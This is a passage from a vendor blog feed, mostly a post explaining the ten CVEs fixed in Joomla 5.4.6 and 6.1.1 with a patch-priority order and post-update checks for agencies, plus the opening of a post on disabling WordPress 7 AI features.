&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt; - direct package downloads for JCE Pro subscribers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/editing/editors/jce/&quot;&gt;JCE on the Joomla Extensions Directory&lt;/a&gt; - the JCE Free listing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Top 50 Joomla Extensions&lt;/a&gt; - live ranking from the mySites.guru database, where JCE consistently ranks in the top two&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt; - the mass updater workflow used for rollouts like this&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - enrol JCE in scheduled overnight updates so the next advisory patches itself&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the recurring authenticated-but-not-authorised pattern across Joomla and WordPress&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For broader agency guidance on managing Joomla security and updates across a portfolio, see our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/jce-pro-2-9-99-4-security-update.DzzOF8QZ.png" length="0" type="image/png"/></item><item><title>Joomla 5.4.6 and 6.1.1 Patch TEN Security Issues</title><link>https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/</guid><description>Joomla 5.4.6 and 6.1.1 close ten security issues including an MFA bypass and a com_users privilege escalation. Here is the patch order for an agency running 30+ sites.</description><pubDate>Thu, 28 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla shipped 5.4.6 and 6.1.1 on 26 May 2026, closing ten CVEs in a single release. Two are MFA Authentication Bypass issues, one is a High-severity privilege escalation through the com_users batch task, and a pair of XSS bugs in the joomla/filter Framework package have been sitting there since Joomla 3.0.0.&lt;/p&gt;
&lt;p&gt;One Joomla site: click Update and move on. Thirty sites: you have a patch night ahead of you, and the order you patch in matters.&lt;/p&gt;
&lt;h2&gt;Patching Joomla 5.4.6 and 6.1.1 Across a Client Portfolio&lt;/h2&gt;
&lt;p&gt;The first thing to do on a release like this is take inventory. Which of your sites are on 5.4.5 right now? Which are still on 4.4.x and need to clear 5.4 before they can reach 6.1.1? Which are on 6.1.0 and ready for a single-step bump?&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &quot;Joomla outdated&quot; check answers all three. Every connected Joomla site gets a row showing current version, target version, and a colour code for how far behind it is. After this release, every 5.4.5 and 6.1.0 site is flagged red. You can &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; from one dashboard and patch them in a single bulk operation rather than logging in to each admin.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The Joomla 3.10.12 and 5.4.2 rows above are flagged red. WordPress 6.9.4 rows are flagged red too, since 7.0 shipped. One row carries a &quot;1 vulnerable&quot; badge. You see all of it without logging in to a single admin.&lt;/p&gt;
&lt;p&gt;Two parts matter most when you have a lot of sites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;Bulk Joomla core upgrade&lt;/a&gt;&lt;/strong&gt; runs the update on every selected site in parallel. Backups are taken first if you&apos;ve enabled that in your site settings. The same tool handles WordPress, so mixed estates get patched in one pass instead of two patch nights.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Post-upgrade verification&lt;/strong&gt; confirms the new version actually landed. Sites occasionally hang at &quot;downloading&quot; or fail silently at the database fix step, and a quick hash or status check catches those before a client does.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the kind of release the mass-upgrade workflow was built for. Ten CVEs in one go, no cherry-picking, every site on 5.4.5 or 6.1.0 needs the patch tonight. The guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;how to upgrade hundreds of Joomla and WordPress sites from one dashboard&lt;/a&gt; walks through the click path, and &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;how to update Joomla, Joomla extensions, WordPress, and WordPress plugins from mySites.guru&lt;/a&gt; covers the wider day-to-day workflow once core patching is done.&lt;/p&gt;
&lt;p&gt;If you want to see what this looks like before signing up, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; runs the same outdated-version check on your sites without asking for a credit card.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;You cannot upgrade directly from Joomla 4.x to 6.1.1. The 6.1.1 release notes are explicit: update to 5.4 first, then move to 6.x. The 5.4.6 release itself needs 4.4 as the starting point. Plan two-step paths for any 4.x sites you still operate.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What the Hell Is a &quot;CVE&quot;?&lt;/h2&gt;
&lt;p&gt;CVE stands for Common Vulnerabilities and Exposures. It is a public catalogue of known security holes in software, maintained by &lt;a href=&quot;https://www.cve.org/&quot;&gt;MITRE&lt;/a&gt; and mirrored by the US National Vulnerability Database (&lt;a href=&quot;https://nvd.nist.gov/&quot;&gt;NVD&lt;/a&gt;). Every entry gets a unique ID in the form &lt;code&gt;CVE-YYYY-NNNNN&lt;/code&gt;, where the year is when the ID was assigned (not necessarily when the bug was found or fixed).&lt;/p&gt;
&lt;p&gt;A few things worth knowing if you have not bumped into them before:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A CVE ID is an identifier, not a severity. &quot;CVE-2026-48898&quot; tells you which bug, not how bad. Severity is a separate rating (Low, Moderate, High, Critical) usually scored against the &lt;a href=&quot;https://www.first.org/cvss/&quot;&gt;CVSS&lt;/a&gt; framework.&lt;/li&gt;
&lt;li&gt;The same CVE can mean different things on different versions of the software. A flaw might be exploitable on one Joomla minor version and not another, which is why the &quot;Affected&quot; column matters.&lt;/li&gt;
&lt;li&gt;A CVE is not the patch itself. It is the reference; the patch is whatever new version closes the bug (in this case, 5.4.6 and 6.1.1).&lt;/li&gt;
&lt;li&gt;NVD entries lag. When Joomla or another vendor publishes an advisory, the CVE ID is reserved but the NVD page often shows &quot;RESERVED&quot; or &quot;AWAITING ANALYSIS&quot; for several days while NVD analysts write up severity and impact. The vendor advisory is the authoritative source until NVD catches up.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you manage Joomla sites, reading every CVE in detail isn&apos;t the goal. What you need is which CVEs hit your version and how urgent each one is. The table below has both.&lt;/p&gt;
&lt;h2&gt;The Ten Security Issues in Joomla 5.4.6 and 6.1.1&lt;/h2&gt;
&lt;p&gt;Joomla&apos;s Security Centre published all ten advisories on 26 May 2026. The full list, ordered by severity:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Affected&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48898&quot;&gt;CVE-2026-48898&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;Privilege escalation through the com_users batch task. Improper access check lets a low-privilege backend user elevate beyond their assigned group.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48896&quot;&gt;CVE-2026-48896&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;MFA Authentication Bypass. Insufficient state checks in the MFA flow.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48897&quot;&gt;CVE-2026-48897&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;MFA Authentication Bypass. Incorrectly reset session states.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48899&quot;&gt;CVE-2026-48899&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;Incorrect Access Control in sample data plugins. Unauthorised users can trigger sample data install actions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48903&quot;&gt;CVE-2026-48903&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;3.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;XSS in the joomla/filter Framework&apos;s &lt;code&gt;checkAttribute&lt;/code&gt; method. Present since 3.0.0.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48904&quot;&gt;CVE-2026-48904&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;Privilege escalation through com_users webservice endpoints. Improper access check on the group editing API.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48905&quot;&gt;CVE-2026-48905&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;3.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;XSS in the joomla/filter Framework&apos;s &lt;code&gt;cleanAttributes&lt;/code&gt; code. Present since 3.0.0.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48900&quot;&gt;CVE-2026-48900&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;4.1.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;ACL bypass in com_scheduler. Low-priv users can edit task types of existing scheduler tasks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48901&quot;&gt;CVE-2026-48901&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;Incorrect cache key construction for InputFilter objects.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48902&quot;&gt;CVE-2026-48902&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;3.9.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;
&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;
&lt;td&gt;Transport encryption downgrade. Password and username reset links generated as HTTP when &quot;Force SSL&quot; is off. Reaches back to 3.9.0.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;NVD entries may show &quot;RESERVED&quot; status for the first few days after disclosure. The authoritative writeups live in the &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; and were live the day the patches dropped.&lt;/p&gt;
&lt;p&gt;Eight of the ten affect every install from 4.0.0 onwards. CVE-2026-48900 is scoped to 4.1.0 and later (com_scheduler shipped in 4.1). CVE-2026-48902, 48903 and 48905 reach further back, into the Joomla 3 lineage.&lt;/p&gt;
&lt;h2&gt;More Security Issues Already Queued for the Next Release&lt;/h2&gt;
&lt;p&gt;Two open pull requests filed on 2026-05-27 line up three more CVEs for the next 5.4 and 6.1 point releases. PRs &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47847&quot;&gt;#47847&lt;/a&gt; (5.4) and &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47848&quot;&gt;#47848&lt;/a&gt; (6.1) bump bundled &lt;code&gt;symfony/yaml&lt;/code&gt; from 6.4.25 (5.4 branch) and 6.4.34 (6.1 branch) to 6.4.41 to close three Symfony-side advisories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-45304&quot;&gt;CVE-2026-45304&lt;/a&gt; - YAML Parser exponential memory allocation via recursive collection-alias expansion. The classic &quot;Billion Laughs&quot; attack pattern, transplanted from XML into YAML.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-45305&quot;&gt;CVE-2026-45305&lt;/a&gt; - ReDoS via catastrophic backtracking in &lt;code&gt;Parser::cleanup()&lt;/code&gt; regex.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-45133&quot;&gt;CVE-2026-45133&lt;/a&gt; - Stack exhaustion via unbounded recursion in nested blocks, sequences, and mappings.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All three are denial-of-service rather than remote code execution. Nobody&apos;s site gets hacked Wednesday morning because of them. But they affect every version of &lt;code&gt;symfony/yaml&lt;/code&gt; from 2.0.0 through 8.0.11, meaning the buggy code shipped in 2011 and nothing flagged it until 20 May 2026. Fifteen years.&lt;/p&gt;
&lt;h2&gt;AI Is Accelerating the Security Disclosure Rate&lt;/h2&gt;
&lt;p&gt;Three Symfony YAML parser CVEs disclosed on the same day, in code that has been sitting in production since 2011, isn&apos;t a coincidence. Vulnerability discovery has shifted gear over the last twelve months, and this release is what the new shape looks like.&lt;/p&gt;
&lt;p&gt;For most of open source history, finding a security bug needed a human with niche expertise sitting down to read code. The reason a &quot;Billion Laughs&quot; variant in &lt;code&gt;symfony/yaml&lt;/code&gt; survived for fifteen years isn&apos;t that the code is impossibly complex; it&apos;s that few humans had the time or motivation to look. The library worked. It parsed YAML. Almost nobody was going to craft a recursive collection-alias payload at it and watch the memory graph climb.&lt;/p&gt;
&lt;p&gt;LLMs have changed the economics. An LLM can read the entire &lt;code&gt;symfony/yaml&lt;/code&gt; codebase in seconds, suggest classes of input that might trigger pathological behaviour, and write the fuzzing harness to confirm. A researcher who would have spent a week manually auditing one parser can now sweep a hundred packages in an afternoon.&lt;/p&gt;
&lt;p&gt;You can see the same pattern in the Joomla 5.4.6 / 6.1.1 release itself: the credits list on the &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; names &quot;Doyensec (with Claude/Anthropic Research)&quot; against CVE-2026-48896. Expect more attributions like that on future releases.&lt;/p&gt;
&lt;p&gt;For an agency, the practical consequences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disclosure rate is climbing and will keep climbing. Expect more CVEs per Joomla point release, not fewer, and the same across PHP frameworks, WordPress plugins, and NPM packages.&lt;/li&gt;
&lt;li&gt;More disclosures means more theoretical issues. The three symfony/yaml ones above only matter if attacker-controlled YAML reaches a parser on your site, which on most Joomla installs it doesn&apos;t. The CVE still gets a number, still appears in &lt;code&gt;composer audit&lt;/code&gt;, and still needs an answer when a client asks.&lt;/li&gt;
&lt;li&gt;Patch cadence becomes operational. Releases that close ten core CVEs and reference three more queued for the next minor don&apos;t fit a rolling once-a-quarter schedule. Thirty sites done by hand was already annoying; fifty during a high-disclosure year isn&apos;t sustainable without tooling.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You aren&apos;t going to read every CVE on every release. What you need is something that tells you which of your sites are exposed to which fix and lets you patch them in bulk before the next batch lands. That is what the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; shows you.&lt;/p&gt;
&lt;h2&gt;Which Security Issue Should You Patch First in Joomla?&lt;/h2&gt;
&lt;p&gt;The real answer for most agencies is &quot;all of them, at once, because they all need 5.4.6 or 6.1.1 anyway.&quot; There is no cherry-picking individual patches out of this release. But if you have a backlog of upgrades and have to phase the rollout, the priority order is:&lt;/p&gt;
&lt;h3&gt;1. CVE-2026-48898 (com_users batch task privilege escalation)&lt;/h3&gt;
&lt;p&gt;This is the only High-severity item. The com_users batch task lets administrators apply changes to many users at once: changing groups, resetting passwords, deleting accounts. An improper access check means a backend user with limited rights can use the batch operation to elevate beyond their assigned permissions.&lt;/p&gt;
&lt;p&gt;Patch first on any site where you do not personally control every backend account. That includes multi-author publications, sites with freelance editors, anywhere a junior staff member has Manager or Publisher access, and any client site where the user list has grown over years without audit.&lt;/p&gt;
&lt;h3&gt;2. CVE-2026-48896 and 48897 (MFA Authentication Bypass)&lt;/h3&gt;
&lt;p&gt;Two distinct issues, both Moderate. CVE-2026-48896 is &quot;insufficient state checks&quot; in the MFA flow. CVE-2026-48897 is &quot;incorrectly reset session states.&quot; Both have been present since Joomla 4.0.0.&lt;/p&gt;
&lt;p&gt;These only matter if you rely on Joomla&apos;s MFA. If you have super-user accounts protected by 2FA on the assumption that a stolen password alone is not enough, that assumption was wrong from 4.0.0 through 5.4.5 and 6.0.0 through 6.1.0. Patch every site running MFA before you patch the ones without it.&lt;/p&gt;
&lt;h3&gt;3. CVE-2026-48904 (com_users webservice priv-esc)&lt;/h3&gt;
&lt;p&gt;A privilege escalation parallel to CVE-2026-48898 but reached via the webservice API rather than the HTML admin. Only matters if you have webservices enabled, which most production sites do.&lt;/p&gt;
&lt;h3&gt;4. The XSS pair (CVE-2026-48903 and 48905)&lt;/h3&gt;
&lt;p&gt;Both live in the joomla/filter Framework package: &lt;code&gt;checkAttribute&lt;/code&gt; and &lt;code&gt;cleanAttributes&lt;/code&gt;. Both are described as inadequate content filtering allowing XSS payloads to survive attribute sanitisation. The advisories do not publish concrete bypass payloads, so the practical risk depends on what extensions you have installed that pass user-supplied HTML through the framework filter. Patch in normal rollout order.&lt;/p&gt;
&lt;h3&gt;5. The Low and remaining Moderate items&lt;/h3&gt;
&lt;p&gt;CVE-2026-48899 (sample data plugin access control), CVE-2026-48900 (com_scheduler task type editing), CVE-2026-48901 (InputFilter cache key), CVE-2026-48902 (HTTP password reset links). Worth closing, but unlikely to drive a same-night incident.&lt;/p&gt;
&lt;h2&gt;How Do You Verify a Joomla Bulk Update Actually Worked?&lt;/h2&gt;
&lt;p&gt;The most common patch-night failure I see isn&apos;t patches that break sites. It&apos;s patches that silently don&apos;t apply: a site reports the new version in the dashboard, but the files on disk are still on the old build. Sometimes the database fix step fails and the site loads while logging errors in the background.&lt;/p&gt;
&lt;p&gt;Useful checks after a bulk Joomla update:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Version string check.&lt;/strong&gt; Hit every site&apos;s frontend (or your admin&apos;s version display) and confirm it reports 5.4.6 or 6.1.1. mySites.guru&apos;s site overview does this on one screen.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database fix.&lt;/strong&gt; Joomla&apos;s Extensions → Manage → Database tool flags any schema mismatches. Worth running after a Moderate or High patch night. Across 30+ sites doing it by hand is impractical, which is why automating it as part of the update flow matters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MFA round-trip.&lt;/strong&gt; Log in to one admin account per site with MFA enabled. The 48896/48897 fixes changed session-state handling, so a quick check catches anything misbehaving.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru lists the real version running on your site, not the version Joomla&apos;s dashboard thinks is installed. It reads the actual code on disk and shows it alongside every connected site in your console, so a site that hung at &quot;downloading 6.1.1&quot; shows up as still on 6.1.0 even when its admin claims otherwise.&lt;/p&gt;
&lt;p&gt;Two companion pieces to keep near the workflow: &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;detecting locked Joomla scheduled tasks&lt;/a&gt;, which sometimes appear in the days after a Joomla version bump if a &lt;code&gt;cli/joomla.php&lt;/code&gt; task left a row stuck in &lt;code&gt;task_lock&lt;/code&gt;, and &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt;, which closes the gap between core patches like this one and the long tail of extension CVEs that never make a Joomla.org headline.&lt;/p&gt;
&lt;h2&gt;How Do You Spot Joomla Sites Still on Old Versions Without Logging Into Each Admin?&lt;/h2&gt;
&lt;p&gt;If your sites aren&apos;t connected to a central manager, the manual options are limited:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reading &lt;code&gt;administrator/manifests/files/joomla.xml&lt;/code&gt;&lt;/strong&gt; on every site over SSH or FTP. Workable for five sites; rough for thirty.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Requesting &lt;code&gt;/administrator/manifests/files/joomla.xml&lt;/code&gt; on each site&lt;/strong&gt; and parsing the &lt;code&gt;&amp;lt;version&amp;gt;&lt;/code&gt; element. Often blocked on hardened sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checking the frontend HTML for a generator tag&lt;/strong&gt;, if it hasn&apos;t been stripped, which on most hardened sites it has been.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The connector-based approach mySites.guru uses reports the running version straight from the site itself: faster, accurate, and unaffected by whatever fingerprinting hardening is in place. Above five sites it&apos;s the only practical option. The &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multi-site management dashboard&lt;/a&gt; lists every connected site by version on one screen, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;extension auto-update guidance&lt;/a&gt; keeps the long tail of plugins current without manual sweeps.&lt;/p&gt;
&lt;p&gt;The dashboard puts every old version on the same screen. Joomla 3.10.12, 5.4.2, 5.4.5, 6.1.0, and the WordPress sites that drifted onto 6.9.4 after 7.0 shipped all show up in one filterable list. Sort by version, see how many sites you have on each, filter by &quot;Joomla 5.4.5&quot; to get the exact list needing 5.4.6 tonight. Each row has a one-click admin login if you need to step into a site, so there&apos;s no typing thirty passwords. The screenshot above this section shows the mixed-CMS view with red badges on every site behind a stable release.&lt;/p&gt;
&lt;p&gt;A single-screen view is the difference between &quot;I think we&apos;re up to date&quot; and &quot;here&apos;s the report.&quot; Client-facing security questionnaires get easier the moment you can produce that.&lt;/p&gt;
&lt;h2&gt;Other Library Bumps in the 6.1.1 Build&lt;/h2&gt;
&lt;p&gt;Beyond the security work, the 6.1.1 build bundles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;phpseclib 3.0.52&lt;/strong&gt;, picking up fixes from two consecutive bumps in the release cycle (3.0.51 in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47620&quot;&gt;PR 47620&lt;/a&gt;, then 3.0.52 in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47738&quot;&gt;PR 47738&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;joomla/oauth2 4.0.2&lt;/strong&gt; via &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47722&quot;&gt;PR 47722&lt;/a&gt;, fixing OAuth2Client authentication.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Three NPM dev-dependency updates&lt;/strong&gt; via &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47622&quot;&gt;PR 47622&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These library bumps don&apos;t change behaviour for end users, but they do close transitive vulnerabilities that would otherwise turn up on any composer security audit of the Joomla codebase.&lt;/p&gt;
&lt;h2&gt;What Happened in the Next Release&lt;/h2&gt;
&lt;p&gt;Worth carrying forward if you are planning the update after this one. The releases that followed, 5.4.7 and 6.1.2, shipped a core regression that makes Joomla ignore every Option set on an individual article, including alternative layouts and author display. If you updated past 6.1.1 and your article layouts stopped taking effect, &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/&quot;&gt;that is a known core bug with an official hotfix&lt;/a&gt; rather than anything wrong with your template.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5954-joomla-6-1-1-5-4-6-security-bugfix-release.html&quot;&gt;Joomla 6.1.1 and 5.4.6 Security and Bugfix Release announcement&lt;/a&gt; - the official joomla.org write-up.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - full list of advisories with affected versions and credits.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/5.4.6&quot;&gt;GitHub release notes for 5.4.6&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/6.1.1&quot;&gt;6.1.1&lt;/a&gt; - changelog, diff links, and the upgrade-path notes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/compare/5.4.5...5.4.6&quot;&gt;5.4.5 to 5.4.6 diff&lt;/a&gt; - every changed file in the security release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/compare/6.1.0...6.1.1&quot;&gt;6.1.0 to 6.1.1 diff&lt;/a&gt; - same for the 6.x branch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to see how many of your Joomla sites are still on 5.4.5 or 6.1.0, start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; - no credit card needed.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla security</category><category>vulnerability</category><category>updates</category><category>upgrade</category><enclosure url="https://mysites.guru/_astro/joomla-5-4-6-and-6-1-1-patch-ten-security-issues.BNtn1dLE.png" length="0" type="image/png"/></item><item><title>WP_AI_SUPPORT: Disable WordPress 7 AI Across Every Site</title><link>https://mysites.guru/blog/disable-wordpress-ai-features-wp-ai-support/</link><guid isPermaLink="true">https://mysites.guru/blog/disable-wordpress-ai-features-wp-ai-support/</guid><description>WordPress 7.0 ships with built-in AI features enabled by default. Disable WP_AI_SUPPORT across every WordPress site you manage in one click with mySites.guru.</description><pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;New in mySites.guru: WP_AI_SUPPORT toggle&lt;/p&gt;
  &lt;p&gt;The WordPress Configuration audit now detects whether WordPress 7.0+ AI features are enabled on every connected site, and lets you flip WP_AI_SUPPORT off (or back on) with one click per site.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;WordPress 7.0 &quot;Armstrong&quot; shipped on 20 May 2026 with the new AI Client baked into core, and three featured provider connectors (Anthropic, Google, and OpenAI) available out of the box at Settings - Connectors. If you manage client sites, every WordPress site you look after is now wired for generative AI unless you explicitly turn it off.&lt;/p&gt;
